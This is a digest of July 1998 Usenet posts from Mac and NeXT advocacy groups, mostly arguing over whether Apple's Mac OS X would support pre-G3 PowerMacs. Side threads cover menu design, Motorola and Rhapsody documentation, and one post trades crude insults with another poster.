Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 20:32:11 -0500
Organization: Prairie Group
Message-ID: <MPG.10204e8cd34c5bed9899e5@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost> <MPG.101e43ebee3790959899d5@news.supernews.com> <FIiROLCWddLd-pn2-YHgd3smSJB3E@localhost>
In article <FIiROLCWddLd-pn2-YHgd3smSJB3E@localhost>, pit@iohk.SPAM-
NOT.com says...
> On Tue, 21 Jul 1998 23:08:32, don.brown@cesoft.com (Donald Brown)
> thought aloud:
>
> > In article <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost>, pit@iohk.SPAM-
> > NOT.com says...
> >> Donald Brown said:
> > I have friends inside Apple whose word I trust. And no, I won't give
> > their names, I'm not sure they were supposed to tell me all they did.
> > So, you'll have to rely on my credibility to judge this.
>
> Sorry. Even if your motives are benevolent I'm not going to take
> outsider's word on this issue. And Maury just suggested that Apple may
> be divided into two camps - those who know sweet nuthin' about YB or
> Mac OS X, and those who know some. And the former (Classic camp?) may
> be hostile to the latter group and want to protect their turf. Of
> course they'd love to keep the '97 hardware hostage for Classic/Carbon
> over quicker YB proliferation.
May be divided may be hostile. May be may be may be may be may be. Is
it possible my friends are wrong? It may be possible. I don't believe
it, but I can only work from the info I've got.
> > On some of the older machines, their early investigation suggested that
> > some different drivers may need to be written. The MacOS API is much
> > closer to the hardware than the OpenStep API, and so Carbon may need
> > special drivers that Rhapsody doesn't.
>
> "Early investigation"? They suspected that supporting the '97 hardware
> wouldn't be as cheap as they had expected when making the infamous
> January 7th 1997 support statement? Surely they realized that some
> different drivers may need to be written.
The issues have been in flux. Yes, that was always realized, what needed
to be found out was how many, and how different.
> > More importantly, though, is testing. Apple has a very large testing
> > plan as they roll out new OSes for computers, even such fairly minimal
> > upgrades as 8.1. As they've been sizing OS X, including the testing, the
> > plan for G3 will pretty suck up all of the resources available. To
> > include all PCI machines was pushing the resources far beyond what was
> > available and looked like it would significantly affect the timeline.
>
> So do they really need to spend all those resources on testing Classic
> Mac OS updates that they're churning out at the pace of two every
> year?
Yes.
> Did Apple consider out-sourcing the PCI Power Macintosh (esp. '97
> hardware that was sold because of their perceived compatibility)
> compatibility work? A free OS called Linux which already uses the Mach
> 3 kernel planned for Mac OS X (Rhap 2.0) manages to support infinitely
> larger number of hardware combinations and processor generations while
> Apple now apparently "can't" (won't) even support their home-grown '97
> models. Even tiny Be Inc. got the PCI Macs covered.
I have no idea if they considered out-sourcing. It's very risky to out-
source the new family jewels, but I just don't know.
> > Actually, I'd love a more agressive YellowBox proliferation. It would
> > have immediately saved me $6000 that I just spent on a G3 powerbook
> > because my old trusty 1400c won't run MacOS X. I can't see any negative
> > effects on my business if Apple stretched for all PCI machines and made
> > it.
>
> But isn't your employer, CESOFT, making software (CEmail) for the
> Classic Mac OS? You actually prefer to keep your classic Mac OS
> codebase and probably tweak it for Carbon so it runs under Mac OS 8.x
> and under Mac OS X's Carbon environment. You're also writing separate
> MS-Windows versions instead of migrating to the cross-platform YB
> development, right?
>
> So it'd be good for your business if the '97 hardware (and in fact all
> pre-G3 PCI PowerMacs) weren't capable of running the modern Mac OS X,
> or Rhapsody (now end of that "beta" line), as they'd be forced to
> remain in the domain of Classic Mac OS or "at best" Carbon software
> (since they, we, can't run YB software on the promised modern OS even
> if we wanted to.
(1) I no longer work at CE. (2) The package is called QuickMail. (3)
Yes, we'd prefer to only have to make minor changes that rewrite from
scratch because the former costs less. (4) We already have written
separate Windows versions before YB was even a possibility.
It is would be better for our business if all Macs could run OS X. Our
software would run on a better OS and be less likely to be taken down by
the OS. This would be the case whether we're running under the emulation
and even more the case if we're carbonized.
> What comes to your new $6000 G3 Powerbook, didn't you buy it to be
> more productive anyway? I can't see how not having it would have saved
> you a bunch.
I was using a PowerBook 1400c. The NuPower upgrade would have cost me
$600. Presuming I can sell my 1400c for $1000, upgrading would have
saved me $5400. Granted, there are definite advantages to the G3 Laptop
that the upgraded 1400c doesn't have, but $5400 is a good thing.
> > But, as someone who's business primarily results in Mac users, it would
> > have a major negative effect if Apple stretched and failed. If Apple
> > fails on this OS X, Apple is dead. If they are a year late, Apple is
> > dead. And that would have a very negative effect on my business.
>
> So, twice last year Apple's stock dropped to around $13. Lots of
> people still bought Apple's Powermacs due to their stated
> compatibility with Rhapsody, Apple's upcoming modern OS. We can only
> speculate what might have happened to Apple as an independent company
> if all the boxes they were selling last year had been known to see
> support end at the Classic Mac OS line. It is just too convenient how
> Apple recently, as the '97 Powermacs were just about sold out, started
> coming out with this "G3-only" party line.
>
> I don't want Apple dead, even if they doomed my '97 Powermac to
> forever run outdated OS that I didn't buy it for, but neither do I
> believe that supporting the '97 hardware (brand new not many moons
> ago) would be the all-draining life-or-death task that some rumour it
> to be. Not that it would be totally trivial either, but Rhapsody / Mac
> OS X does have the tools and innards for such support to be feasible.
> Much of the support cost has already been paid to Apple in the form of
> sold '97 (and earlier) Powermacs, and more would be forthcoming in the
> form of Rhapsody / Mac OS X license fees. If the pre-G3 compatible
> version (x.1?) costs more to buy and is released later than the
> G3-optimized v1.0 so be it. If this still left some of the cost for
> Apple to carry it sure can't be a life-or-death amount; probably less
> than what they may potentially lose due to widespread customer
> unhappiness otherwise.
The contacts I have inside Apple say that expanding to the older machines
would risk blowing the deadlines which would blow Apple's hard-restored
reputation of shipping on time. They're not sure it would, but it would
represent an unreasonable risk.
There was an assumption that, if it doesn't run on '97 hardware on
shipment, there'd be few takers if it was given second place shipment.
Those of you writing to leadership@apple.com, include the point that you
would be willing to buy a version of OS-X that shipped after the original
shipment. Of course, Mac OS-X isn't the last thing Apple intends to do,
so there may again be other needs for those resources, but if you get the
word out "I'll buy and later is OK" that opens up new chances.
I'd be tickled pink of OS-X runs on all PCI PowerMacs. It would be good
for my business. My business does better if more people are buying Macs,
and everyone having a kick-ass OS will get more Macs out there. But, it
will only be good for my business if it succeeds.
But you know what? That's not why I've been arguing this point. I am
not here to push some secret agenda. Instead, when people are saying
things that I know are inaccurate, I'll usually explain why they are
wrong. And this does not require a hidden agenda on my end.
Oh, and no, I have no hidden agenda for saying why I have no hidden
agenda either.
Donald
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Wed, 22 Jul 1998 22:29:49 -0700
Message-ID: <see-below-2207982229500001@dynamic24.pm06.mv.best.com>
References: <joe.ragosta-2207980843230001@wil103.dol.net> <B1DC0731-590F9@204.31.112.228>
In article <B1DC0731-590F9@204.31.112.228>, "Phil Brewster"
<pjbrew@nospam.com> wrote:
> Did anyone else catch the, er, 'poetic justice' of Apple's announcement
> yesterday that they had gotten the DoD contract for the military's
> healthcare system using WebObjects?
>
> http://biz.yahoo.com/prnews/980721/ca_aapl_we_1.html
>
> It's a bit macabre to think that healthcare administration apps will run
> more reliably than battleship controller systems, but anyway.....
Well, it's probably running on NT...
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Nathan Dozier" <surfweb@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: 22 Jul 98 23:32:09 -0700
Organization: ICGNetcom
Message-ID: <B1DC26FC-61385@204.32.201.74>
References: <MPG.1020519d12f527a29899e6@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy,
nntp://nntp.ix.netcom.com/comp.os.ms-windows.advocacy
On Wed, Jul 22, 1998 6:45 PM, Donald Brown <mailto:don.brown@cesoft.com>
wrote:
> Where is your good buddy Anton/ Macsbug/(you?)? I havent seen a post by
> him in several days.
>
> After it was shown that you and he both posted within 2 minutes of each
> other from the same ip, you claimed it was because you were at your
friend
> "macsbug"'s house, implying that anton is Macsbug, yet when I went back
> through dejanews this macsbug guy (macsbug@hotmail.com, who also
posted
> from Edwin's isp) signed his name as Edwin?? How do you explain this?
>
I withdraw my apology from the Warez thread. If you're going to go so
psycho about Edwin's use of another name, using one yourself is extreme
hypocracy.
I dont know if its hypocracy, I have been getting preety peeved at that
mofo's posts myself. I could care less if people use different names, but
when you change names to further your kookiness thats another matter. I
have remained silent, waiting for people to skewer that edwin fukker like
that fukker Rizzo was skewered. This group needs lamers like edwin like
our defense forces need windows NT.
After this post I think I will check to see if the newsgroup
alt.kook.edwin.thorne has been created yet. That guy is as big a kook as
Rizzo is.
---------------------------------------------------------
Macos- the most awesome os in the world!!
---------------------------------------------------------
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 06:38:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p6loq$ood$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com>
In article <MPG.10204e80816f66a69899e4@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In all this time, the number of new OSes that required a new machine is
> precisely One (1). While not all old machines have been supported in new
> OSes, this is the only time a new OS required a new level of machine.
You mean within a platform, right? So the Apple II to Macintosh transition
doesn't count? If you are not counting that then I can't think of any time
Microsoft has required a new level of machine. Nor can I think of any examples
from Sun, Atari, SGI, etc. Can you think of any OS vendor who has done this to
their customers?
> If this were to ever become a pattern, you'd have a legitimate gripe.
> But, one datapoint is not sufficient to define a pattern.
I'm not interested in doing statistical analysis on Apple's support patterns
and I doubt that many other customers will either. They will wonder why their
two year old computer won't run the latest and greatest OS when Apple said
that it would. Or do you think that once Apple ships Rhapsody 1.0 for these
machines they will have fullfilled their obligation?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 00:06:06 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35B67053.303A@earthlink.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz>
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To: Martin Cox <mcox@ihug.co.nz>
I agree with you Martin. They should support pre-G3 machines with OS
X. Their entire install base becomes next to nothing with only G3's
being supported. I was ready to buy the new OS the day Apple bought
NeXT. I use NeXT/Openstep and know how cool it is. I've been waiting
and waiting from that day to get the new OS onto my Mac. Now my machine
will most likely not be supported. So thanks to Apple everyone who owns
a pre-G3 Mac AND everyone who was running NeXT/Openstep on Intel is
going to be completely shafted unless we all buy G3's. That's just
plain lame!
Steve
--
-------------------------------------------------------------
Support pre-G3's with Mac OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-7diGdduw31jG@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se> <joe.ragosta-2207980818060001@wil103.dol.net>
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Date: 23 Jul 1998 07:37:51 GMT
Organization: IBM.NET
On Wed, 22 Jul 1998 12:18:05, joe.ragosta@dol.net (Joe Ragosta)
thought aloud:
> In article <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
[schnipps]
>
> > Unfortunately it looks like every indication points in the direction
> > that OS X won't run on your 7500. Ken Bereskin said that they are not
> > attempting to make OS X run on pre G3 and that it would be pure luck if
> > any first generation PCI Mac would happen to run OS X. Check out
> > macintouch for the quote.
>
> But Mac OS X is _not_ the next generation OS. Rhapsody is.
Well now, switch the spin generator off for a moment. Mac OS X, based
on what is currently known about Apple's future direction (i.e things
might well change between now and then), is / will be the next
generation OS. What was Rhapsody until recently was renamed as "Mac OS
X Server" and it has become but a stop-gap release with a limited
target market. It's now a server product and isn't going run any
so-called Carbon apps which is where Apple is taking the Mac userbase.
The real next generation OS, when released in late '99, obsoletes the
"Rhapsody" server product by using different kernel (out with Mach
2.5), different imaging model (out with DPS), it will add the
much-taked-about Carbon support and probably ships with new set of YB
API's and other refinements as well.
If Apple really considers Rhap/MOX Server as the real next generation
OS they should soon be pushing it like there was no tomorrow and every
iMac would be running it off the production line. They wouldn't just
hide their greatest pride and joy in the attic like the proverbial
red-haired stepchild, now would they? Unless it's more like an early
beta of the real modern OS upgrade with features missing and more...
and I still want it - but I want the real McCoy as well.
Cordially,
--
taiQ
[this space is intentionally blank]
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 23 Jul 1998 08:29:12 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p6s8o$qk5$1@news2.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <1dchrj7.1pmajnlrqkgqjN@quern.demon.co.uk>
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NNTP-Posting-Date: 23 Jul 1998 08:29:12 GMT
jonathan@quern.demon.co.uk (Jonathan Sanderson) :
>
> If memory serves, we had this thread about a year ago in
> cs.next.advocacy. Someone closed it (in relation to NS) by setting up a
> background job on their slab. After a weekend of generating offscreen
> windows it was beginning to bog down a bit, but was essentially still
> going strong.
See how long NS can generate threads.
--
--Woohoo, this message posted from BeOS!
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
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References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at>
<6p4qqf$jvu$1@nnrp02.primenet.com> <6p4tpk$q56$1@news.tuwien.ac.at>
<6p50pt$4et$1@nnrp03.primenet.com> <6p5e0j$1tl$2@msunews.cl.msu.edu>
<v6vt1.6070$7k7.7862518@news.rdc1.sdca.home.com>
Message-ID: <1_zt1.6315$7k7.8019970@news.rdc1.sdca.home.com>
Date: Thu, 23 Jul 1998 05:37:01 GMT
NNTP-Posting-Date: Wed, 22 Jul 1998 22:37:01 PDT
Organization: @Home Network
In <v6vt1.6070$7k7.7862518@news.rdc1.sdca.home.com> rr6013@yahoo.com wrote:
> In <6p5e0j$1tl$2@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com
> wrote:
> > > I think the current product generation of the Mac is based on the old
> > > Pascal toolbox, and the next (Carbon) as well. I haven't seen the
> > article
> > > yet, but perhaps Negroponte's frustration lies in the advanced stuff
> > being
> > > two generations out?
> > >
> >
> > You mean cool stuff for MacOS legacy rather than MacOS X Server with
> > YB, WO, EOF, BlueBox, Mach, etc. in the next few months (we hope)
> > that will run on PPC and PC compatibles..
> >
> > I personally think he is right MacOS legacy programming tools/stuff
> > are extremely old. And I don't think Carbon is extremely exciting
> > except
> > in a legacy code sense (which is understandably important).
> >
> > Seems like the guy missed the boat on YB,
>
> YellowBox? Which Steve Jobs publically admits is unsupported for the
buying
> populace? Its Carbon or Java, now.
>
>
To correct the record... Obj-C is the primary supported API's. I was _way_
off base on this. Both JAVA and Obj-C docs are maintained by Apple for public
consumption. Thanks to Scott Anguish for pointing out that these docs are
available at:
http://developer.apple.com/techpubs/rhapsody/System/Documentation/Developer/YellowBox/HomePages/UsingAPIs.html_
AND
Install Rhapsody DR2, and they are
file:/System/Library/Frameworks/AppKit.framework/Resources/English.lproj/Documentation/Reference/ObjC_classic/Classes/AppKitClassesTOC.html
Shame on me...
-r
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted
Date: Wed, 22 Jul 1998 23:48:11 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35B66C24.5538@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <not-2007982342490001@ip-26-018.phx.primenet.com>
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Michael M. Eilers wrote:
> Early enough to give people plenty of time to plan for upgrading the
> hardware. No last-minute suprises. Quite responsible of Apple, actually.
Responsible my ass! Greedy is more like it! Why don't they sell an
upgrade box at the Apple Store? If you currently have a computer
stuffed
full of HD's, PCI cards, modem, etc. you should be able to purchase a
box with a motherboard and chip alone (well maybe with some RAM as
well). All they need to do is add a "none" category to each of the
selections. That way, If you really want to move up to a G3 machine
capable of
running OS X you can do it for a reasonable price (a bit more than an
upgrade card, but guarunteed to run OS X). Many people might be willing
to spend SOME money, but not ALOT of money to move to an OS X machine.
Right now you gotta spend dough on a new CD, HD, video card, mouse,
keyboard, etc. when you might not need any of them. Apple isn't giving
anyone an upgrade path, just a cut and run path. That really sucks!
It's not like you can go anywhere else and buy a Mac.....anymore.
Steve
-------------------------------------------------------------
Support pre-G3's with Mac OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 22 Jul 98 11:08:52
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul22110852@slave.doubleu.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com>
<joe.ragosta-1307982035200001@elk49.dol.net>
<6oefqn$5dm$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
<mNOSPAMroeder-1407981257200001@192.168.21.171>
<pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
<mNOSPAMroeder-1507981407020001@192.168.21.170>
<Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
<Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
<andyba-ya02408000R2107981148110001@news>
<6p2t9m$t36$2@cronkite.cygnus.com>
In-reply-to: jrudd@cygnus.com's message of 21 Jul 1998 20:22:14 GMT
In article <6p2t9m$t36$2@cronkite.cygnus.com>,
jrudd@cygnus.com (John Rudd) writes:
In <andyba-ya02408000R2107981148110001@news> Andy Bates wrote:
> In article <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
> > No non-submenu invoking choices can (well should) be in the bar
> > (root menu) even though this would be good for organizational
> > purposes.
>
> Ech, no. This is not a good UI idea. If it needs to be accessed
> quickly, make a button in the UI, or a command key shortcut.
Ok, then where does "Print" belong? it's not a "File" operation..
It's not? Hmm. In general, it's closer to a File operation than it
is to any other type of operation (in the sense that you usually print
something of the same general shape as something you open or save).
Perhaps putting the "Quit" in the application/finder menu at the
upper-right corner (where "Hide" currently lives) would work.
Actually, I'd reinterpret "Quit" as "Close all windows" and put it on
the Windows menu. And perhaps "Hide" as "Hide all windows", and put
it on the Windows menu, also.
If you're going to have heirarchical menus, then you need to
recognize that some operations aren't going to fit into your
hierarchies/catagories, and you must have a root level hierarchy
that accepts these operations. Otherwise, your UI design is
inconsistant.
Damned users, always asking for features which don't fit nicely in our
hierarchy! The world would be a happier place with fewer of them.
[Users, that is :-).]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Newsgroups: alt.skuznet.web2news,bln.sci.jura,comp.sys.next.advocacy,uw.lang
From: news@news.msfc.nasa.gov
Message-ID: <cancel.dQBt1.13631$Zk4.3522085@news.inreach.com>
Control: cancel <dQBt1.13631$Zk4.3522085@news.inreach.com>
Subject: cmsg cancel <dQBt1.13631$Zk4.3522085@news.inreach.com>
Organization: http://www.msfc.nasa.gov/
Date: Thu, 23 Jul 1998 07:43:40 GMT
Sender: fugpcpur@hotmail.com
Make Money Fast post canceled by J. Porter Clark.
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 23 Jul 1998 08:45:39 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <6p5vfm$mo1$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Maybe Motorola is still stung from the $100 Million MCG debacle.
David
Motorola was stung by Apple with regard to cloning but that was a really
small amount.( 100 million that is).
Motorola's current problems are ALL rooted in the fact that the cell
phones that they are making and had planed to make for another 8-12 months
are ANALOG. And I am sure you know how well analog phones are selling
these days? MOT screwed up big time on their bread and butter buisiness
and everybody here makes it into an Apple vs Mot pissing contest.
Currently Mot is trading at 52 week low levels and they have BIG problems
which even doubling the CPUs sold would not help appreciatably. The CPU
bisiness is the only good thing at Motorola these days but it is a small
part of their core business and it will be years before it is an
appreciatable fraction of their total business.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 11:18:24 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980723103808.23157A-100000@ux9.cso.uiuc.edu>
References: <Pine.SOL.3.96.980722100750.22438A-100000@ux8.cso.uiuc.edu> <B1DBDE51-12E7A@206.165.43.118>
Mime-Version: 1.0
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In-Reply-To: <B1DBDE51-12E7A@206.165.43.118>
On 22 Jul 1998, Lawson English wrote:
> Pulsar <tokarek@uiuc.edu> said:
>
> >> Yes, Apple ought to support it, but the machine is four years old.
> >
> >Yeah, but the 8600 that is based on the same motherboard is still
> >selling _right_now_ and won't be supported through this decision either.
>
> And the 8600 is (I believe) the machine that Apple told early
> adopter-developers to purchase in order to develop for Rhaposdy -the first
> Mac supported in DR1, as I recall.
I believe so. I think PowerMac G3s are supported with DR2.
It is interesting (I think) that Apple has ported OpenStep for Mach from
another hardware platform, created a Blue Box in which the Mac OS is
hosted, updated the Yellow Box (OpenStep), removed most of the NeXT UI in
favor of the Mac's, ported QTML over (including QuickDraw 3D),
integrated Java significantly into Rhapsody, _and_ managed hardware
support for a whole host of 604 and 604e based PCI PowerMacs, PowerMac G3
machines and even x86 PCs since Rhapsody was announced back in
early 1997.
All this happened through two major restucurings, a change of management,
2 releases of the Mac OS (OS 8 and 8.1 not including 7.6.1), a release of
a new version of QuickTime for the Mac OS _and_ Windows, a release of new
hardware (PowerMac G3, PowerBook G3 series), and is working on more new
hardware and a new version of the Mac OS while continuing to improve the
Rhapsody developer releases.
Mac OS X is supposed to replace the imaging system, replace the kernel
(with an updated version that is already available and runs on a
relatively huge range of hardware), maybe have a transparent Blue Box, add
reimplemented versions of a subset of the current Mac OS API functions,
probably introduce further enhancements to the UI for more consistency,
drop support for a whole ton of hardware, and eliminate the BSD layer and
command line.
This is supposed to happen while introducing hardware that is supposed to
be more consistent between models, have fewer major differences (ie. fewer
motherboard designs at any one time), and while updating the Mac OS which
drops support for a lot of hardware (68k Macs). One of those updates is
largely a bug fix (8.5->8.6) and the next (OS 9.0) is very nebulous at the
moment.
Apple looks a lot more stable. There are no signs of major restructuring
has happened several times over the last couple years. There is no
immediate sign of new management coming in.
What Apple has planned for time period of Mac OS X doesn't sound quite so
impressive as what Apple has managed to do since early '97. That the
reason Mac OS X drops support for anything but G3 PowerMacs and future
machines is time doesn't quite ring true to me.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 12:11:08 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980723120919.15269C-100000@ux9.cso.uiuc.edu>
References: <35b3f756.0@news.depaul.edu> <B1DA8186-67C8F@206.165.43.17> <joe.ragosta-2207980902130001@wil103.dol.net> <slrn6rc551.8j3.jason@jhste1.dyn.ml.org> <Pine.SOL.3.96.980722145322.12616D-100000@ux9.cso.uiuc.edu> <slrn6rclrm.na.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <slrn6rclrm.na.jason@jhste1.dyn.ml.org>
On 22 Jul 1998, Jason S. wrote:
> Pulsar posted the following to comp.sys.mac.advocacy:
>
> >> >> There was only one or two licensed motherboard-designs for ALL PCI Macs and
> >> >> clones. ALL Macs and clones used those designs. They were tested by Apple
> >> >> and officially approved by Apple.
>
> >> >I know of at least 3--Tsunami, Alchemy, and Nitro. In addition, the clone
> >> >vendors modified the boards in many cases, sometimes running them at
> >> >higher clock speeds, using different graphics chips, different cache
> >> >design, and so on.
>
> >> Catalyst, not Nitro.
>
> >Actually, Catalyst and TNT I think.
>
> Which clones were based on TNT? I thought that the "high-end" clones were
> all Tsunami-based, while the lower-end ones were either Tanzania, Catalyst
> (Power Computing only) or Alchemy (PCC and maybe UMAX?)
Hmm... <trying to think>
I guess there aren't any. I can't remember any specific clones that used
